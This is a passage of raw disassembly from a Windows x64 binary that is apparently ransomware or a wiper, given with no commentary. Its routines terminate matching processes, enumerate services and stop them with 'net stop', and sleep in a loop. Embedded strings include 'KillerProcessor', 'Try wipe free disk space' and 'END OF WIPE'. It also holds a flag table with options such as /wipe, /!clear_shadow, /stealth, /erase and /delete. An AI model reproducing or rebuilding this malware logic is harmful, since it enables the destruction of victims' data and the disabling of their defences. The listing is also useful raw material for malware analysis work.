    0044fae9call fn_40d9b0
    0044faeelea rcx, [rbp+48]
    0044faf2mov rdx, [rbp+56]
    0044faf6call fn_40d850
    0044fafbmov rcx, [rbp+48]
    0044faffcall fn_44f5a0
    0044fb04
    0044fb04loc_44fb04:
    0044fb04add ebx, 1
    0044fb07sub esi, 1
    0044fb0atest esi, esi
    0044fb0cjne 0x44fa9c
    0044fb0e
    0044fb0eloc_44fb0e:
    0044fb0enop
    0044fb0fjmp 0x44fb43
    0044fb11
    0044fb11loc_44fb11:
    0044fb11xor ebx, ebx
    0044fb13
    0044fb13loc_44fb13:
    0044fb13lea rcx, [rbp+40]
    0044fb17mov edx, ebx
    0044fb19add dl, 65
    0044fb1ccall fn_40d050
    0044fb21lea rcx, [rbp+40]
    0044fb25lea rdx, [rip+232]
    0044fb2ccall fn_40d1a0
    0044fb31mov rcx, [rbp+40]
    0044fb35call fn_44f5a0
    0044fb3aadd ebx, 1
    0044fb3dcmp ebx, 26
    0044fb40jne 0x44fb13
    0044fb42nop
    0044fb43
    0044fb43loc_44fb43:
    0044fb43mov rax, [rip+0x14476]
    0044fb4acmp [rax+308], 0
    0044fb51je 0x44fb61
    0044fb53lea rcx, [rip+206]
    0044fb5axor edx, edx
    0044fb5ccall fn_439060
    0044fb61
    0044fb61loc_44fb61:
    0044fb61nop
    0044fb62lea rcx, [rbp+40]
    0044fb66mov edx, 2
    0044fb6bcall fn_40be70
    0044fb70lea rcx, [rbp+56]
    0044fb74call fn_40bcf0
    0044fb79lea rsp, [rbp+64]
    0044fb7dpop rbx
    0044fb7epop rsi
    0044fb7fpop rbp
    0044fb80ret
    0044fa30
    0044fb81
    0044fb81 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
    0044fb90
    0044fb90fn_44fb90:
    0044fb90push rbp
    0044fb91push rbx
    0044fb92sub rsp, 40
    0044fb96mov rbp, rsp
    0044fb99mov rbx, rdx
    0044fb9clea rcx, [rbx+40]
    0044fba0mov edx, 2
    0044fba5call fn_40be70
    0044fbaalea rcx, [rbx+56]
    0044fbaecall fn_40bcf0
    0044fbb3lea rsp, [rbp+40]
    0044fbb7pop rbx
    0044fbb8pop rbp
    0044fbb9ret
    0044fb90
    0044fbba
    0044fbba 00 00 b0 04 02 00 ......
    0044fbc0 ff ff ff ff 18 00 00 00 54 00 72 00 79 00 20 00 ........T.r.y. .
    0044fbd0 77 00 69 00 70 00 65 00 20 00 66 00 72 00 65 00 w.i.p.e. .f.r.e.
    0044fbe0 65 00 20 00 64 00 69 00 73 00 6b 00 20 00 73 00 e. .d.i.s.k. .s.
    0044fbf0 70 00 61 00 63 00 65 00 00 00 00 00 b0 04 02 00 p.a.c.e.........
    0044fc00 ff ff ff ff 02 00 00 00 3a 00 5c 00 00 00 00 00 ........:.\.....
    0044fc10 04 00 00 00 3a 00 5c 00 00 00 00 00 b0 04 02 00 ....:.\.........
    0044fc20 ff ff ff ff 0b 00 00 00 45 00 4e 00 44 00 20 00 ........E.N.D. .
    0044fc30 4f 00 46 00 20 00 57 00 49 00 50 00 45 00 00 00 O.F. .W.I.P.E...
    0044fc40
    0044fc40Unit57.finalization:
    0044fc40add [rip+0x20b59], 1
    0044fc47cmp [rip+0x20b52], 0
    0044fc4eret
    0044fc40
    0044fc4f
    0044fc4f // align 0x10
    0044fc50
    0044fc50Unit57.initialization:
    0044fc50sub [rip+0x20b49], 1
    0044fc57cmp [rip+0x20b42], -1
    0044fc5eret
    0044fc50
    0044fc5f
    0044fc5f // align 0x10
    0044fc60
    0044fc60CloseServiceHandle:
    0044fc60jmp [rip+0x21db2]
    0044fc60
    0044fc66
    0044fc66 // align 0x10
    0044fc70
    0044fc70EnumServicesStatusW:
    0044fc70jmp [rip+0x21dea]
    0044fc70
    0044fc76
    0044fc76 // align 0x10
    0044fc80
    0044fc80OpenSCManagerW:
    0044fc80jmp [rip+0x21dc2]
    0044fc80
    0044fc86
    0044fc86 // align 0x10
    0044fc90
    0044fc90Unit58.finalization:
    0044fc90add [rip+0x20b0d], 1
    0044fc97cmp [rip+0x20b06], 0
    0044fc9eret
    0044fc90
    0044fc9f
    0044fc9f // align 0x10
    0044fca0
    0044fca0Unit58.initialization:
    0044fca0sub [rip+0x20afd], 1
    0044fca7cmp [rip+0x20af6], -1
    0044fcaeret
    0044fca0
    0044fcaf
    0044fcaf // align 0x10
    0044fcb0
    0044fcb0EnumServicesStatusA:
    0044fcb0jmp [rip+0x21da2]
    0044fcb0
    0044fcb6
    0044fcb6 // align 0x10
    0044fcc0
    0044fcc0fn_44fcc0:
    0044fcc0push rbp
    0044fcc1push r13
    0044fcc3push rdi
    0044fcc4push rsi
    0044fcc5push rbx
    0044fcc6sub rsp, 688
    0044fccdmov rbp, rsp
    0044fcd0mov [rbp+72], 0
    0044fcd8mov [rbp+56], 0
    0044fce0mov [rbp+48], 0
    0044fce8mov [rbp+32], 0
    0044fcf0mov [rbp+40], 0
    0044fcf8mov [rbp+64], 0
    0044fd00mov [rbp+104], 0
    0044fd08mov [rbp+88], 0
    0044fd10mov [rbp+80], 0
    0044fd18mov [rbp+96], 0
    0044fd20nop
    0044fd21mov ecx, 2
    0044fd26xor edx, edx
    0044fd28call fn_438870
    0044fd2dmov rbx, rax
    0044fd30mov [rbp+120], 568
    0044fd37mov rcx, rbx
    0044fd3alea rdx, [rbp+120]
    0044fd3ecall fn_4388a0
    0044fd43jmp 0x44fe80
    0044fd48
    0044fd48loc_44fd48:
    0044fd48xor eax, eax
    0044fd4amov rcx, [rip+0x1426f]
    0044fd51mov rcx, [rcx+72]
    0044fd55mov r13l, [rcx+16]
    0044fd59sub r13l, 1
    0044fd5dmov esi, eax
    0044fd5fcmp esi, r13l
    0044fd62jg 0x44fe73
    0044fd68sub r13l, eax
    0044fd6badd r13l, 1
    0044fd6f
    0044fd6floc_44fd6f:
    0044fd6fmovsxd rdi, esi
    0044fd72lea rcx, [rbp+96]
    0044fd76mov rax, [rip+0x14243]
    0044fd7dmov rax, [rax+72]
    0044fd81mov rax, [rax+8]
    0044fd85mov rdx, [rax+8*rdi]
    0044fd89call fn_40d850
    0044fd8elea rcx, [rbp+104]
    0044fd92mov rdx, [rbp+96]
    0044fd96call fn_4220f0
    0044fd9blea rcx, [rbp+80]
    0044fd9flea rdx, [rbp+164]
    0044fda6mov r8l, 260
    0044fdaccall fn_40d110
    0044fdb1lea rcx, [rbp+88]
    0044fdb5mov rdx, [rbp+80]
    0044fdb9call fn_4220f0
    0044fdbemov rcx, [rbp+104]
    0044fdc2mov rdx, [rbp+88]
    0044fdc6call fn_40d640
    0044fdcbtest eax, eax
    0044fdcdje 0x44fe46
    0044fdcflea rcx, [rbp+64]
    0044fdd3mov rax, [rip+0x141e6]
    0044fddamov rax, [rax+72]
    0044fddemov rax, [rax+8]
    0044fde2mov rdx, [rax+8*rdi]
    0044fde6call fn_40d850
    0044fdeblea rcx, [rbp+72]
    0044fdefmov rdx, [rbp+64]
    0044fdf3call fn_4220f0
    0044fdf8lea rcx, [rbp+40]
    0044fdfclea rdx, [rbp+164]
    0044fe03mov r8l, 260
    0044fe09call fn_40d7b0
    0044fe0elea rcx, [rbp+48]
    0044fe12mov rdx, [rbp+40]
    0044fe16call fn_422b70
    0044fe1blea rcx, [rbp+32]
    0044fe1fmov rdx, [rbp+48]
    0044fe23call fn_40d850
    0044fe28lea rcx, [rbp+56]
    0044fe2cmov rdx, [rbp+32]
    0044fe30call fn_4220f0
    0044fe35mov rcx, [rbp+72]
    0044fe39mov rdx, [rbp+56]
    0044fe3dcall fn_40d640
    0044fe42test eax, eax
    0044fe44jne 0x44fe63
    0044fe46
    0044fe46loc_44fe46:
    0044fe46mov ecx, 1
    0044fe4bxor edx, edx
    0044fe4dmov r8l, [rbp+128]
    0044fe54call OpenProcess
    0044fe59mov rcx, rax
    0044fe5cxor edx, edx
    0044fe5ecall TerminateProcess
    0044fe63
    0044fe63loc_44fe63:
    0044fe63add esi, 1
    0044fe66sub r13l, 1
    0044fe6atest r13l, r13l
    0044fe6djne 0x44fd6f
    0044fe73
    0044fe73loc_44fe73:
    0044fe73nop
    0044fe74mov rcx, rbx
    0044fe77lea rdx, [rbp+120]
    0044fe7bcall fn_4388d0
    0044fe80
    0044fe80loc_44fe80:
    0044fe80test eax, eax
    0044fe82jne 0x44fd48
    0044fe88mov rcx, rbx
    0044fe8bcall CloseHandle
    0044fe90nop
    0044fe91lea rcx, [rbp+32]
    0044fe95call fn_40bd90
    0044fe9alea rcx, [rbp+40]
    0044fe9emov edx, 2
    0044fea3call fn_40bdd0
    0044fea8lea rcx, [rbp+56]
    0044feacmov edx, 7
    0044feb1call fn_40be70
    0044feb6lea rsp, [rbp+688]
    0044febdpop rbx
    0044febepop rsi
    0044febfpop rdi
    0044fec0pop r13
    0044fec2pop rbp
    0044fec3ret
    0044fcc0
    0044fec4
    0044fec4 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
    0044fed0
    0044fed0fn_44fed0:
    0044fed0push rbp
    0044fed1push rbx
    0044fed2sub rsp, 40
    0044fed6mov rbp, rsp
    0044fed9mov rbx, rdx
    0044fedclea rcx, [rbx+32]
    0044fee0call fn_40bd90
    0044fee5lea rcx, [rbx+40]
    0044fee9mov edx, 2
    0044feeecall fn_40bdd0
    0044fef3lea rcx, [rbx+56]
    0044fef7mov edx, 7
    0044fefccall fn_40be70
    0044ff01lea rsp, [rbp+40]
    0044ff05pop rbx
    0044ff06pop rbp
    0044ff07ret
    0044fed0
    0044ff08
    0044ff08 10 ff 44 00 00 00 00 00 ..D.....
    0044ff10 11 02 3a 31 01 00 00 00 00 00 00 00 00 00 00 00 ..:1............
    0044ff20 11 00 00 00 98 10 40 00 00 00 00 00 0f 4b 69 6c ......@......Kil
    0044ff30 6c 65 72 50 72 6f 63 65 73 73 6f 72 98 10 40 00 lerProcessor..@.
    0044ff40 00 00 00 00 02 00 cc cc cc cc cc cc cc cc cc cc ................
    0044ff50
    0044ff50fn_44ff50:
    0044ff50push rbp
    0044ff51push rbx
    0044ff52sub rsp, 232
    0044ff59mov rbp, rsp
    0044ff5cmov [rbp+96], 0
    0044ff64mov [rbp+88], 0
    0044ff6cmov [rbp+80], 0
    0044ff74mov [rbp+128], 0
    0044ff7fmov [rbp+112], 0
    0044ff87mov [rbp+104], 0
    0044ff8fmov [rbp+120], 0
    0044ff97mov [rbp+184], 0
    0044ffa2mov [rbp+136], rbp
    0044ffa9nop
    0044ffaamov [rbp+176], 0
    0044ffb5lea rcx, [rip+920]
    0044ffbcxor edx, edx
    0044ffbemov r8l, 5
    0044ffc4call OpenSCManagerW
    0044ffc9mov [rbp+216], rax
    0044ffd0cmp [rbp+216], 0
    0044ffd8je 0x4502ba
    0044ffdenop
    0044ffdfmov [rbp+196], 0
    0044ffe9mov rcx, [rbp+216]
    0044fff0mov edx, 304
    0044fff5mov r8l, 1
    0044fffbxor r9, r9
    0044fffemov [rsp+32], 0
    00450006lea rax, [rbp+204]
    0045000dmov [rsp+40], rax
    00450012lea rax, [rbp+200]
    00450019mov [rsp+48], rax
    0045001elea rax, [rbp+196]
    00450025mov [rsp+56], rax
    0045002acall EnumServicesStatusA
    0045002ftest eax, eax
    00450031jne 0x4500fe
    00450037call GetLastError
    0045003ccmp eax, 122
    0045003fje 0x450052
    00450041call GetLastError
    00450046cmp eax, 234
    0045004cjne 0x4502aa
    00450052
    00450052loc_450052:
    00450052lea rcx, [rbp+184]
    00450059mov rdx, [rip-344]
    00450060mov r8l, 1
    00450066mov r9l, [rbp+204]
    0045006dcall fn_410430
    00450072mov rax, [rbp+184]
    00450079mov [rbp+176], rax
    00450080mov rax, [rbp+184]
    00450087mov [rbp+152], rax
    0045008ecmp [rbp+152], 0
    00450096je 0x4500aa
    00450098mov rax, [rbp+152]
    0045009fmov rax, [rax-8]
    004500a3mov [rbp+152], rax
    004500aa
    004500aaloc_4500aa:
    004500aamov rcx, [rbp+216]
    004500b1mov edx, 304
    004500b6mov r8l, 1
    004500bcmov r9, [rbp+176]
    004500c3mov eax, [rbp+152]
    004500c9mov [rsp+32], eax
    004500cdlea rax, [rbp+204]
    004500d4mov [rsp+40], rax
    004500d9lea rax, [rbp+200]
    004500e0mov [rsp+48], rax
    004500e5lea rax, [rbp+196]
    004500ecmov [rsp+56], rax
    004500f1call EnumServicesStatusW
    004500f6test eax, eax
    004500f8je 0x4502aa
    004500fe
    004500feloc_4500fe:
    004500fecmp [rbp+200], 0
    00450105jbe 0x45029b
    0045010bmov rax, [rbp+176]
    00450112mov [rbp+168], rax
    00450119xor eax, eax
    0045011bmov ecx, [rbp+200]
    00450121sub ecx, 1
    00450124mov [rbp+76], ecx
    00450127mov [rbp+208], eax
    0045012dmov ecx, [rbp+76]
    00450130cmp [rbp+208], ecx
    00450136jg 0x45029a
    0045013cmov ecx, [rbp+76]
    0045013fsub ecx, eax
    00450141add ecx, 1
    00450144mov [rbp+76], ecx
    00450147
    00450147loc_450147:
    00450147nop
    00450148xor eax, eax
    0045014amov rcx, [rip+0x13e6f]
    00450151mov rcx, [rcx+72]
    00450155mov ebx, [rcx+16]
    00450158sub ebx, 1
    0045015bmov [rbp+212], eax
    00450161cmp [rbp+212], ebx
    00450167jg 0x450273
    0045016dsub ebx, eax
    0045016fadd ebx, 1
    00450172
    00450172loc_450172:
    00450172lea rcx, [rbp+120]
    00450176mov rax, [rip+0x13e43]
    0045017dmov rax, [rax+72]
    00450181mov rax, [rax+8]
    00450185movsxd rdx, [rbp+212]
    0045018cmov rdx, [rax+8*rdx]
    00450190call fn_40d850
    00450195lea rcx, [rbp+128]
    0045019cmov rdx, [rbp+120]
    004501a0call fn_4220f0
    004501a5lea rcx, [rbp+104]
    004501a9mov rax, [rbp+168]
    004501b0mov rdx, [rax]
    004501b3call fn_40d0d0
    004501b8lea rcx, [rbp+112]
    004501bcmov rdx, [rbp+104]
    004501c0call fn_4220f0
    004501c5mov rcx, [rbp+128]
    004501ccmov rdx, [rbp+112]
    004501d0call fn_40d640
    004501d5test eax, eax
    004501d7jne 0x450261
    004501ddmov rax, [rbp+168]
    004501e4cmp [rax+20], 4
    004501e8jne 0x450261
    004501ealea rcx, [rbp+80]
    004501eemov rax, [rbp+168]
    004501f5mov rdx, [rax]
    004501f8call fn_40d0d0
    004501fdlea rcx, [rbp+88]
    00450201mov rdx, [rbp+80]
    00450205call fn_422140
    0045020alea rcx, [rbp+96]
    0045020emov edx, 3
    00450213lea r8, [rip+338]
    0045021amov r9, [rbp+88]
    0045021elea rax, [rip+347]
    00450225mov [rsp+32], rax
    0045022acall fn_40d530
    0045022fmov rcx, [rbp+96]
    00450233call fn_40d180
    00450238xor ecx, ecx
    0045023alea rdx, [rip+277]
    00450241lea r8, [rip+280]
    00450248mov r9, rax
    0045024bmov [rsp+32], 0
    00450254mov [rsp+40], 0
    0045025ccall ShellExecuteW
    00450261
    00450261loc_450261:
    00450261add [rbp+212], 1
    00450268sub ebx, 1
    0045026btest ebx, ebx
    0045026djne 0x450172
    00450273
    00450273loc_450273:
    00450273nop
    00450274jmp 0x45027e
    00450276
    00450276 90 90 e8 a3 ae fb ff 90 ........
    0045027e
    0045027eloc_45027e:
    0045027eadd [rbp+168], 48
    00450286mov eax, [rbp+76]
    00450289sub eax, 1
    0045028cmov [rbp+76], eax
    0045028fmov eax, [rbp+76]
    00450292test eax, eax
    00450294jne 0x450147
    0045029a
    0045029aloc_45029a:
    0045029anop
    0045029b
    0045029bloc_45029b:
    0045029bnop
    0045029cmov rcx, [rbp+216]
    004502a3call CloseServiceHandle
    004502a8jmp 0x4502ba
    004502aa
    004502aaloc_4502aa:
    004502aaxor ecx, ecx
    004502acmov rdx, [rbp+136]
    004502b3call fn_450300
    004502b8jmp 0x4502bb
    004502ba
    004502baloc_4502ba:
    004502banop
    004502bb
    004502bbloc_4502bb:
    004502bblea rcx, [rbp+80]
    004502bfmov edx, 7
    004502c4call fn_40be70
    004502c9lea rcx, [rbp+184]
    004502d0mov rdx, [rip-975]
    004502d7call fn_410600
    004502dclea rsp, [rbp+232]
    004502e3pop rbx
    004502e4pop rbp
    004502e5ret
    0044ff50
    004502e6
    004502e6 48 90 48 8d 04 05 00 00 00 00 H.H.......
    004502f0
    004502f0fn_4502f0:
    004502f0sub rsp, 40
    004502f4call fn_40b050
    004502f9add rsp, 40
    004502fdret
    004502f0
    004502fe
    004502fe 48 90 H.
    00450300
    00450300fn_450300:
    00450300push rbp
    00450301sub rsp, 32
    00450305mov rbp, rsp
    00450308mov rcx, [rdx+216]
    0045030fcall CloseServiceHandle
    00450314lea rsp, [rbp+32]
    00450318pop rbp
    00450319ret
    00450300
    0045031a
    0045031a 64 48 8d 44 20 00 dH.D .
    00450320
    00450320fn_450320:
    00450320push rbp
    00450321push rbx
    00450322sub rsp, 40
    00450326mov rbp, rsp
    00450329mov rbx, rdx
    0045032clea rcx, [rbx+80]
    00450330mov edx, 7
    00450335call fn_40be70
    0045033alea rcx, [rbx+184]
    00450341mov rdx, [rip-1088]
    00450348call fn_410600
    0045034dlea rsp, [rbp+40]
    00450351pop rbx
    00450352pop rbp
    00450353ret
    00450320
    00450354
    00450354 00 00 6f 00 70 00 65 00 6e 00 00 00 ..o.p.e.n...
    00450360 6e 00 65 00 74 00 00 00 0c 00 00 00 73 00 74 00 n.e.t.......s.t.
    00450370 6f 00 70 00 20 00 22 00 00 00 00 00 02 00 00 00 o.p. .".........
    00450380 22 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc "...............
    00450390
    00450390fn_450390:
    00450390sub rsp, 40
    00450394jmp 0x4503aa
    00450396
    00450396loc_450396:
    00450396call fn_44fcc0
    0045039bcall fn_44ff50
    004503a0mov ecx, 1000
    004503a5call Sleep
    004503aa
    004503aaloc_4503aa:
    004503aamov rax, [rip+0x13c67]
    004503b1cmp [rax], 0
    004503b4jne 0x450396
    004503b6add rsp, 40
    004503baret
    00450390
    004503bb
    004503bb // align 0x10
    004503c0
    004503c0Unit59.finalization:
    004503c0add [rip+0x203e1], 1
    004503c7cmp [rip+0x203da], 0
    004503ceret
    004503c0
    004503cf
    004503cf // align 0x10
    004503d0
    004503d0Unit59.initialization:
    004503d0sub [rip+0x203d1], 1
    004503d7cmp [rip+0x203ca], -1
    004503deret
    004503d0
    004503df
    004503df // align 0x10
    004503e0
    004503e0fn_4503e0:
    004503e0push rbp
    004503e1sub rsp, 48
    004503e5mov rbp, rsp
    004503e8mov [rbp+64], rcx
    004503ecmov rcx, [rbp+64]
    004503f0call fn_40bec0
    004503f5nop
    004503f6xor eax, eax
    004503f8mov [rbp+47], al
    004503fbmov rcx, [rbp+64]
    004503fflea rdx, [rip+654]
    00450406call fn_40dc90
    0045040btest eax, eax
    0045040dje 0x45064f
    00450413mov rcx, [rbp+64]
    00450417lea rdx, [rip+650]
    0045041ecall fn_40dc90
    00450423test eax, eax
    00450425je 0x45064f
    0045042bmov rcx, [rbp+64]
    0045042flea rdx, [rip+654]
    00450436call fn_40dc90
    0045043btest eax, eax
    0045043dje 0x45064f
    00450443mov rcx, [rbp+64]
    00450447lea rdx, [rip+654]
    0045044ecall fn_40dc90
    00450453test eax, eax
    00450455je 0x45064f
    0045045bmov rcx, [rbp+64]
    0045045flea rdx, [rip+658]
    00450466call fn_40dc90
    0045046btest eax, eax
    0045046dje 0x45064f
    00450473mov rcx, [rbp+64]
    00450477lea rdx, [rip+662]
    0045047ecall fn_40dc90
    00450483test eax, eax
    00450485je 0x45064f
    0045048bmov rcx, [rbp+64]
    0045048flea rdx, [rip+662]
    00450496call fn_40dc90
    0045049btest eax, eax
    0045049dje 0x45064f
    004504a3mov rcx, [rbp+64]
    004504a7lea rdx, [rip+666]
    004504aecall fn_40dc90
    004504b3test eax, eax
    004504b5je 0x45064f
    004504bbmov rcx, [rbp+64]
    004504bflea rdx, [rip+678]
    004504c6call fn_40dc90
    004504cbtest eax, eax
    004504cdje 0x45064f
    004504d3mov rcx, [rbp+64]
    004504d7lea rdx, [rip+686]
    004504decall fn_40dc90
    004504e3test eax, eax
    004504e5je 0x45064f
    004504ebmov rcx, [rbp+64]
    004504eflea rdx, [rip+694]
    004504f6call fn_40dc90
    004504fbtest eax, eax
    004504fdje 0x45064f
    00450503mov rcx, [rbp+64]
    00450507lea rdx, [rip+690]
    0045050ecall fn_40dc90
    00450513test eax, eax
    00450515je 0x45064f
    0045051bmov rcx, [rbp+64]
    0045051flea rdx, [rip+690]
    00450526call fn_40dc90
    0045052btest eax, eax
    0045052dje 0x45064f
    00450533mov rcx, [rbp+64]
    00450537lea rdx, [rip+694]
    0045053ecall fn_40dc90
    00450543test eax, eax
    00450545je 0x45064f
    0045054bmov rcx, [rbp+64]
    0045054flea rdx, [rip+694]
    00450556call fn_40dc90
    0045055btest eax, eax
    0045055dje 0x45064f
    00450563mov rcx, [rbp+64]
    00450567lea rdx, [rip+698]
    0045056ecall fn_40dc90
    00450573test eax, eax
    00450575je 0x45064f
    0045057bmov rcx, [rbp+64]
    0045057flea rdx, [rip+714]
    00450586call fn_40dc90
    0045058btest eax, eax
    0045058dje 0x45064f
    00450593mov rcx, [rbp+64]
    00450597lea rdx, [rip+734]
    0045059ecall fn_40dc90
    004505a3test eax, eax
    004505a5je 0x45064f
    004505abmov rcx, [rbp+64]
    004505aflea rdx, [rip+734]
    004505b6call fn_40dc90
    004505bbtest eax, eax
    004505bdje 0x45064f
    004505c3mov rcx, [rbp+64]
    004505c7lea rdx, [rip+738]
    004505cecall fn_40dc90
    004505d3test eax, eax
    004505d5je 0x45064f
    004505d7mov rcx, [rbp+64]
    004505dblea rdx, [rip+754]
    004505e2call fn_40dc90
    004505e7test eax, eax
    004505e9je 0x45064f
    004505ebmov rcx, [rbp+64]
    004505eflea rdx, [rip+762]
    004505f6call fn_40dc90
    004505fbtest eax, eax
    004505fdje 0x45064f
    004505ffmov rcx, [rbp+64]
    00450603lea rdx, [rip+786]
    0045060acall fn_40dc90
    0045060ftest eax, eax
    00450611je 0x45064f
    00450613mov rcx, [rbp+64]
    00450617lea rdx, [rip+798]
    0045061ecall fn_40dc90
    00450623test eax, eax
    00450625je 0x45064f
    00450627mov rcx, [rbp+64]
    0045062blea rdx, [rip+802]
    00450632call fn_40dc90
    00450637test eax, eax
    00450639je 0x45064f
    0045063bmov rcx, [rbp+64]
    0045063flea rdx, [rip+814]
    00450646call fn_40dc90
    0045064btest eax, eax
    0045064djne 0x450654
    0045064f
    0045064floc_45064f:
    0045064fmov al, 1
    00450651mov [rbp+47], al
    00450654
    00450654loc_450654:
    00450654nop
    00450655lea rcx, [rbp+64]
    00450659call fn_40bcf0
    0045065emovzx rax, [rbp+47]
    00450663lea rsp, [rbp+48]
    00450667pop rbp
    00450668ret
    004503e0
    00450669
    00450669 48 8d 80 00 00 00 00 H......
    00450670
    00450670fn_450670:
    00450670push rbp
    00450671sub rsp, 32
    00450675mov rbp, rsp
    00450678lea rcx, [rdx+64]
    0045067ccall fn_40bcf0
    00450681lea rsp, [rbp+32]
    00450685pop rbp
    00450686ret
    00450670
    00450687
    00450687 00 b0 04 02 00 ff ff ff ff .........
    00450690 02 00 00 00 2f 00 72 00 00 00 00 00 b0 04 02 00 ..../.r.........
    004506a0 ff ff ff ff 06 00 00 00 2f 00 73 00 6c 00 65 00 ......../.s.l.e.
    004506b0 65 00 70 00 00 00 00 00 b0 04 02 00 ff ff ff ff e.p.............
    004506c0 05 00 00 00 2f 00 66 00 75 00 6c 00 6c 00 00 00 ..../.f.u.l.l...
    004506d0 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 64 00 ............/.d.
    004506e0 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
    004506f0 ff ff ff ff 06 00 00 00 2f 00 6c 00 6f 00 67 00 ......../.l.o.g.
    00450700 5f 00 66 00 00 00 00 00 b0 04 02 00 ff ff ff ff _.f.............
    00450710 05 00 00 00 2f 00 66 00 61 00 73 00 74 00 00 00 ..../.f.a.s.t...
    00450720 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 65 00 ............/.e.
    00450730 72 00 61 00 73 00 65 00 00 00 00 00 b0 04 02 00 r.a.s.e.........
    00450740 ff ff ff ff 0b 00 00 00 2f 00 69 00 73 00 5f 00 ......../.i.s._.
    00450750 74 00 65 00 73 00 74 00 69 00 6e 00 67 00 00 00 t.e.s.t.i.n.g...
    00450760 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 74 00 ............/.t.
    00450770 65 00 73 00 74 00 5f 00 63 00 69 00 64 00 00 00 e.s.t._.c.i.d...
    00450780 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 74 00 ............/.t.
    00450790 65 00 73 00 74 00 5f 00 76 00 69 00 64 00 00 00 e.s.t._.v.i.d...
    004507a0 b0 04 02 00 ff ff ff ff 02 00 00 00 2f 00 70 00 ............/.p.
    004507b0 00 00 00 00 b0 04 02 00 ff ff ff ff 05 00 00 00 ................
    004507c0 2f 00 70 00 61 00 74 00 68 00 00 00 b0 04 02 00 /.p.a.t.h.......
    004507d0 ff ff ff ff 07 00 00 00 2f 00 21 00 6c 00 6f 00 ......../.!.l.o.
    004507e0 63 00 61 00 6c 00 00 00 b0 04 02 00 ff ff ff ff c.a.l...........
    004507f0 05 00 00 00 2f 00 21 00 6c 00 61 00 6e 00 00 00 ..../.!.l.a.n...
    00450800 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 73 00 ............/.s.
    00450810 68 00 64 00 77 00 6e 00 00 00 00 00 b0 04 02 00 h.d.w.n.........
    00450820 ff ff ff ff 0d 00 00 00 2f 00 61 00 6c 00 6c 00 ......../.a.l.l.
    00450830 6f 00 77 00 5f 00 73 00 79 00 73 00 74 00 65 00 o.w._.s.y.s.t.e.
    00450840 6d 00 00 00 b0 04 02 00 ff ff ff ff 0e 00 00 00 m...............
    00450850 2f 00 21 00 63 00 6c 00 65 00 61 00 72 00 5f 00 /.!.c.l.e.a.r._.
    00450860 73 00 68 00 61 00 64 00 6f 00 77 00 00 00 00 00 s.h.a.d.o.w.....
    00450870 b0 04 02 00 ff ff ff ff 05 00 00 00 2f 00 77 00 ............/.w.
    00450880 69 00 70 00 65 00 00 00 b0 04 02 00 ff ff ff ff i.p.e...........
    00450890 06 00 00 00 2f 00 64 00 65 00 70 00 74 00 68 00 ..../.d.e.p.t.h.
    004508a0 00 00 00 00 b0 04 02 00 ff ff ff ff 0b 00 00 00 ................
    004508b0 2f 00 21 00 70 00 72 00 65 00 72 00 65 00 6e 00 /.!.p.r.e.r.e.n.
    004508c0 61 00 6d 00 65 00 00 00 b0 04 02 00 ff ff ff ff a.m.e...........
    004508d0 07 00 00 00 2f 00 64 00 65 00 6c 00 65 00 74 00 ..../.d.e.l.e.t.
    004508e0 65 00 00 00 b0 04 02 00 ff ff ff ff 0e 00 00 00 e...............
    004508f0 2f 00 63 00 6c 00 65 00 61 00 72 00 5f 00 65 00 /.c.l.e.a.r._.e.
    00450900 78 00 63 00 6c 00 75 00 64 00 65 00 00 00 00 00 x.c.l.u.d.e.....
    00450910 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 70 00 ............/.p.
    00450920 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 00 00 r.i.o.r.i.t.y...
    00450930 b0 04 02 00 ff ff ff ff 04 00 00 00 2f 00 69 00 ............/.i.
    00450940 70 00 73 00 00 00 00 00 b0 04 02 00 ff ff ff ff p.s.............
    00450950 08 00 00 00 2f 00 73 00 74 00 65 00 61 00 6c 00 ..../.s.t.e.a.l.
    00450960 74 00 68 00 00 00 00 00 b0 04 02 00 ff ff ff ff t.h.............
    00450970 02 00 00 00 2f 00 65 00 00 00 cc cc cc cc cc cc ..../.e.........
    00450980
    00450980fn_450980:
    00450980push rbp
    00450981push rsi
    00450982push rbx
    00450983sub rsp, 96
    00450987mov rbp, rsp
    0045098amov [rbp+56], 0
    00450992mov [rbp+48], 0
    0045099amov [rbp+72], 0
    004509a2mov [rbp+64], 0
    004509aamov [rbp+88], 0
    004509b2nop
    004509b3mov rax, [rip+0x13606]
    004509bamov rax, [rax+768]
    004509c1cmp [rax+16], 0
    004509c5je 0x450c1a
    004509cblea rcx, [rbp+88]
    004509cfmov rax, [rip+0x134d2]
    004509d6mov rdx, [rax]
    004509d9call fn_40d820
    004509demov rax, [rip+0x135db]
    004509e5cmp [rax+308], 0
    004509ecje 0x450a0c
    004509eexor ecx, ecx
    004509f0mov dl, 1
    004509f2call fn_439060
    004509f7lea rcx, [rip+670]
    004509femov dl, 1
    00450a00call fn_439060
    00450a05xor ecx, ecx
    00450a07call fn_4392a0
    00450a0c
    00450a0cloc_450a0c:
    00450a0cxor eax, eax
    00450a0emov rcx, [rip+0x135ab]
    00450a15mov rcx, [rcx+768]
    00450a1cmov esi, [rcx+16]
    00450a1fsub esi, 1
    00450a22mov ebx, eax
    00450a24cmp ebx, esi
    00450a26jg 0x450bda
    00450a2csub esi, eax
    00450a2eadd esi, 1
    00450a31
    00450a31loc_450a31:
    00450a31mov rcx, [rip+0x13470]
    00450a38mov rax, [rip+0x13581]
    00450a3fmov rax, [rax+768]
    00450a46mov rax, [rax+8]
    00450a4amovsxd rdx, ebx
    00450a4dmov rdx, [rax+8*rdx]
    00450a51call fn_40d850
    00450a56mov rax, [rip+0x13563]
    00450a5dmov [rax+317], 0
    00450a64mov rax, [rip+0x1343d]
    00450a6bmov rcx, [rax]
    00450a6ecall fn_42fe80
    00450a73test al, al
    00450a75je 0x450add
    00450a77mov rax, [rip+0x13542]
    00450a7ecmp [rax+308], 0
    00450a85je 0x450ac9
    00450a87xor ecx, ecx
    00450a89mov dl, 1
    00450a8bcall fn_439060
